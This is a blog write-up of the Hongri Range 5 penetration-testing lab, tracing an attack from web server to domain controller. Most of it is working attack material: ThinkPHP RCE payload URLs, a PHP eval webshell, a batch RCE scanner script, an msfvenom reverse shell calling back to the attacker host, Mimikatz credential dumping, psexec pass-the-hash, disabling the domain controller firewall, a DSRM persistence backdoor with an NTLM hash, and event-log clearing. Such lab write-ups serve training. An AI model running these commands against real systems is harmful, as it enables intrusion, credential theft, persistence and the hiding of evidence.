Drunkmars's Blog

红日靶场5

字数统计: 3.7k阅读时长: 15 min
2021/07/06

本文首发于先知社区:https://xz.aliyun.com/t/9807

在内网渗透的过程中思路才是最重要的,本次内网渗透的主机虽然不多,主要还是锻炼自己内网渗透的一个思想。

环境搭建

内网网段:192.168.138.0/24

外网网段:192.168.10.0/24

攻击机:

kali:192.168.10.11

靶场:

win7(内):192.168.138.136

win7(外):192.168.10.25

域内主机:

Winserver2008:192.168.138.138

其中win7可以外网、内网通信,域内主机只能内网之间进行通信

image-20210701145200652

image-20210701145528300

web服务器渗透

nmap探测端口

1
nmap -T4 -sC -sV 192.168.10.25

这里可以看到几个主要的端口,例如80、135、139、445,这里首先就可以想到可以利用的点有ipc、smb

image-20210701150112996

开了80端口,尝试访问web地址,老笑脸人了,而且还是5.x版本,洞还是比较多

image-20210701150203575

为了确定具体版本,这里先使用报错查看,发现这里的版本为5.0.22,如果没记错的话这里是有一个tp远程命令执行漏洞的

漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用$_POST['_method']来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置$_POST['_method']='__construct'而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

image-20210701150304294

thinkphp getshell

这里我首先在kali里面找一下有没有相关的漏洞

1
searchsploit thinkphp

image-20210701150426161

可以看到这里有一个5.x远程执行漏洞,这里直接进入这个文件夹查看一下txt列出来的payload

1
2
cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt

image-20210701150517146

找到对应版本后fuzz以下payload,这个是列出数据库名字,这里看到数据库名为root

1
192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username

image-20210701150711862

这个payload应该是列出数据库密码,但是这里没有打出来

1
192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password

image-20210701150742393

这里打出phpinfo

1
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

image-20210701150923499

传参看一下当前权限为administrator

1
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image-20210701151140866

看一下ip情况,双网卡,那么大概率有域环境

1
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig

image-20210701151329351

看一下进程,发现无杀软那么尝试不用免杀直接写webshell

1
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc

image-20210701151805425

这里直接尝试echo写一个一句话木马进去,这里因为之前查看过没有杀软跟安全狗,这里就不需要做免杀处理

1
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php

image-20210701151649570

这里用dir验证一下是否写入成功

1
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

image-20210701151721266

使用蚁剑连接成功

image-20210701152341445

image-20210701152511967

thinkphp批量检测

这里我思考了一个问题,thinkphp的版本这么多,如果kali里面的漏洞库没有,而在搜索引擎上去搜索又太耗费时间,有没有一个批量检测thinkphp漏洞的脚本呢?

这里我找到了一个thinkphp漏洞批量检测的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: thinkphp远程代码检测
description: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
'''


import re
import sys
import requests
import queue
import threading
from bs4 import BeautifulSoup
class thinkphp_rce(threading.Thread):
def __init__(self, q):
threading.Thread.__init__(self)
self.q = q
def run(self):
while not self.q.empty():
url=self.q.get()
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
vulnurl = url + payload
try:
response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)

soup = BeautifulSoup(response.text,"lxml")
if 'PHP Version' in str(soup.text):
print ('[+] Remote code execution vulnerability exists at the target address')
print ('[+] Vulnerability url address ' + vulnurl)
with open('target.txt','a') as f1:
f1.write(vulnurl+'\n')
f1.close()
else:
print ('[-] There is no remote code execution vulnerability in the target address')
except:
print ('[!] Destination address cannot be connected')
def urlget():
with open('url.txt','r')as f:
urls=f.readlines()
for tmp in urls:
if '//' in tmp:
url=tmp.strip('\n')
urlList.append(url)
else:
url='http://'+tmp.strip('\n')
urlList.append(url)
return(urlList)
f.close()

if __name__=="__main__":
print('''----------------扫描开始-------------------

*Made by :tdcoming
*For More :https://t.zsxq.com/Ai2rj6E
*MY Heart :https://t.zsxq.com/A2FQFMN


_______ _ _
|__ __| | | (_)
| | __| | ___ ___ _ __ ___ _ _ __ __ _
| | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \ / _` |
| || (_| || (__| (_) || | | | | || || | | || (_| |
|_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
__/ |
|___/
''')
urlList=[]
urlget()
threads = []
threads_count = 10
q=queue.Queue()
for url in urlList:
q.put(url)
for i in range(threads_count):
threads.append(thinkphp_rce(q))
for i in threads:
i.start()
for i in threads:
i.join()

这里的使用方法很简单:将要检测的目标放在url.txt里面,如果存在漏洞的地址将自动生成一个target.txt文本保存

image-20210701180504040

内网信息搜集

这里使用蚁剑的命令窗口搜集一下本机信息,为administrator权限+双网卡

1
2
3
whoami

ipconfig

image-20210701152628506

查看一下域相关信息

1
2
3
4
5
net view

net config workstation

net user /domain

image-20210701152747489

内网渗透

上线msf

msf生成一个abc.exe

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe 

image-20210701153012244

使用蚁剑上传到靶机上

image-20210701153040689

这里因为没有杀软不用做免杀,直接命令行执行即可

image-20210701153311983

msf开启监听即可上线

image-20210701153243604

信息搜集

使用getsystem提权到system,这里因为是靶场的原因getsystem比较容易执行成功

image-20210701153515830

提权后获取一个windows环境下的shell继续对域进行信息搜集

1
2
3
4
5
chcp 65001
net user /domain
net group "domain computers" /domain
net group "domain controllers" /domain
net group "domain admins" /domain

image-20210701153937242

靶机存在一个名为“sun”的域环境,只有一个域控,这里我直接ping一下域控得到域控ip为192.168.138.138

image-20210701154015967

获取凭证

这里因为有两个网段就先把路由添加上方便后续操作

1
2
3
4
5
6
7
# msf操作
route add 192.168.138.0 255.255.255.0 2
route print

# session操作
run autoroute -s 192.168.138.0/24
run autoroute -p

image-20210701154219665

image-20210701160354832

这里选择session,使用kiwi来获取靶机密码,注意这里需要进行的一个操作为进程迁移,因为我们这里上线到msf的载荷是32位的(即x86),这里需要找一个64位的(即x64)进行进程迁移才能使用kiwi获取靶机密码

1
2
3
4
5
6
sessions -i 2
load kiwi
kiwi_cmd privilege::debug
ps
migrate 1144
kiwi_cmd sekurlsa::logonPasswords

image-20210701154636320

这里可以看到抓取到了一个域管的密码为dc123.com和一个靶机的密码123.com

image-20210701155259347

image-20210701155324533

思路

这里抓到了靶机和域管的密码,那么这里就可以用pth的方法进行横向移动,这是第一种方法;另外我们可以去检测一下在另一个网段的机器有什么漏洞可以利用,如MS17-010、CVE-2020-0796等等,利用漏洞的exp进行横向移动,这是第二种方法;因为我们之前在用nmap对端口进行扫描的时候是发现了139和445端口的,那么我们拿到了密码的情况下可以尝试使用ipc+计划任务的方式进行横向移动

内网横向移动

MS17-010尝试

这里直接使用ms17-010的攻击模块进行尝试,这里其实应该先用扫描模块对处于另一网段的主机进行漏洞扫描,若存在永恒之蓝漏洞才继续使用exp模块进行攻击,这里我为了演示方便就直接上手exp模块进行攻击了

image-20210701163911599

这里攻击可以看到,虽然靶机存在永恒之蓝漏洞但是session反弹不成功,这里是因为在windows server2008的情况下匿名管道是默认不开启的。

我们知道psexec的原理就是使用了管道,ipc连接也同理。那么在匿名管带不开启的情况下永恒之蓝的连接是建立不上的。这里再说一下匿名管道的概念:

1
2
3
4
5
6
7
8
管道是IPC最基本的一种实现机制。我们都知道在Linux下“一切皆文件”,其实这里的管道就是一个文件。管道实现进程通信就是让两个进程都能访问该文件。

管道的特征:
①只提供单向通信,也就是说,两个进程都能访问这个文件,假设进程1往文件内写东西,那么进程2 就只能读取文件的内容。
②只能用于具有血缘关系的进程间通信,通常用于父子进程建通信
③管道是基于字节流来通信的
④依赖于文件系统,它的生命周期随进程的结束结束(随进程)
⑤其本身自带同步互斥效果

image-20210701163921278

psexec尝试

因为我们已经拿到了域管的帐号那么我们这里就直接使用pth的方法,即哈希传递,使用的是psexec模块,不过这个模块因为被使用太多导致已经被杀软列入了黑名单,如果这里有杀软存在的情况下psexec横向移动是会被拦截的。

设置参数如下所示,这里注意一下SMBPass这个地方也能够通过hash进行传递,也能够通过明文密码进行传递

1
2
3
4
5
6
7
8
use exploit/windows/smb/psexec
set rhost 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com

set payload windows/meterpreter/bind_tcp
run

这里可以看到exp已经利用了但是没有session反弹回来,这里我猜测是以为防火墙阻止了端口流量的进出,所以这里我们就需要通过ipc连接去关闭域控的防火墙

image-20210701155534242

ipc连接关闭域控防火墙

这里的常规方法是使用netsh关闭域控防火墙,但是这里需要域控的管理员权限,所以在这里我们就直接使用ipc连接域控然后使用计划任务添加规则关闭防火墙

1
2
3
netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allow

netsh advfirewall firewall delete rule name="f.exe"

将session挂在后台并与域控建立ipc连接

1
net use \\192.168.138.138\ipc$ dc123.com /user:administrator

这里可以看到连接已经建立成功了

image-20210701155659451

利用sc创建计划任务立即启动关闭域控的防火墙

1
2
3
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"    # 创建服务

sc \\192.168.138.138 start unablefirewall # 立即启动服务

这里可以看到防火墙已经被关闭了

image-20210701155908714

psexec尝试*2

这时候我们再使用psexec进行横向移动就能够获得session,至此我们就拿到了域控的权限

image-20210701155954871

这里看一下我们直接拿到的就是一个system权限的session

image-20210701160019194

登录远程桌面

这里我想登录远程桌面看看域控还有什么有价值的东西就可以使用socks代理正向进入内网

使用socks_proxy模块

1
2
3
4
5
use auxiliary/server/socks_proxt

set viersion 4a

run

这里还需要配置proxychain文件

1
socks4 192.168.10.11 1080

image-20210701160845035

添加一个内网网段的路由

1
2
run autoroute -s 192.168.138.0/24
run autoroute -p

image-20210701160917106

然后使用proxychain命令即可登录远程桌面

1
proxychain4 rdesktop 192.168.138.138

image-20210701160959133

登录域控如图所示

image-20210701161446350

权限维持

权限维持的方法有很多种,这里我挑了一个使用得不是很多的方法来进行练习加以巩固

DSRM后门

何为DSRM后门?

DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。DSRM的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行 ntdsutil 命令。

在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。我们知道,每个DC都有本地管理员(administrator)账号和密码(与域管理员账号密码不同)。DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

注意:该类持久化操作适用的服务器版本:Windows Server 2008及以后版本的Windows服务器。

在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号。

首先,为 DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码:

1
2
3
4
5
6
7
ntdsutil    // 进入ntdsutil
set dsrm password // 设置DSRM账户的密码
reset password on server null // 在当前域控制器上恢复DSRM密码
<password> // 输入新密码
<password> // 重新输入新密码
q //退出DSRM密码设置模式
q // 退出ntdsutil

image-20210701162006415

然后再使用kiwi抓取ntml hash

image-20210701162155798

然后,我们修改域控主机的DSRM账户登录方式。在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2可以分别设置不同的DSRM账户登录方式:

0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号

1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器

2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

如下所示,我们用powershell命令将DSRM的登录方式设置为“2”,即在任何情况下,都可以使用DSRM管理员账号登录域控制器:

1
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD

image-20210701162543220

使用win7上的mimikatz进行hash传递即可获取到域控权限

1
2
privilege::Debug
sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:a812e6c2defcb0a7b80868f9f3c88d09

日志清除

日志清除有两种方法,一种是使用kali里面自带的命令进行日志清除

1
2
3
run event_manager -i

run event_manager -c

image-20210701163332474

image-20210701163359425

第二种方法则是进入服务器管理器自行清除

image-20210701163250637

CATALOG
  1. 1. 环境搭建
  2. 2. web服务器渗透
    1. 2.1. nmap探测端口
    2. 2.2. thinkphp getshell
    3. 2.3. thinkphp批量检测
  3. 3. 内网信息搜集
  4. 4. 内网渗透
    1. 4.1. 上线msf
    2. 4.2. 信息搜集
    3. 4.3. 获取凭证
    4. 4.4. 思路
  5. 5. 内网横向移动
    1. 5.1. MS17-010尝试
    2. 5.2. psexec尝试
    3. 5.3. ipc连接关闭域控防火墙
    4. 5.4. psexec尝试*2
    5. 5.5. 登录远程桌面
  6. 6. 权限维持
    1. 6.1. DSRM后门
    2. 6.2. 日志清除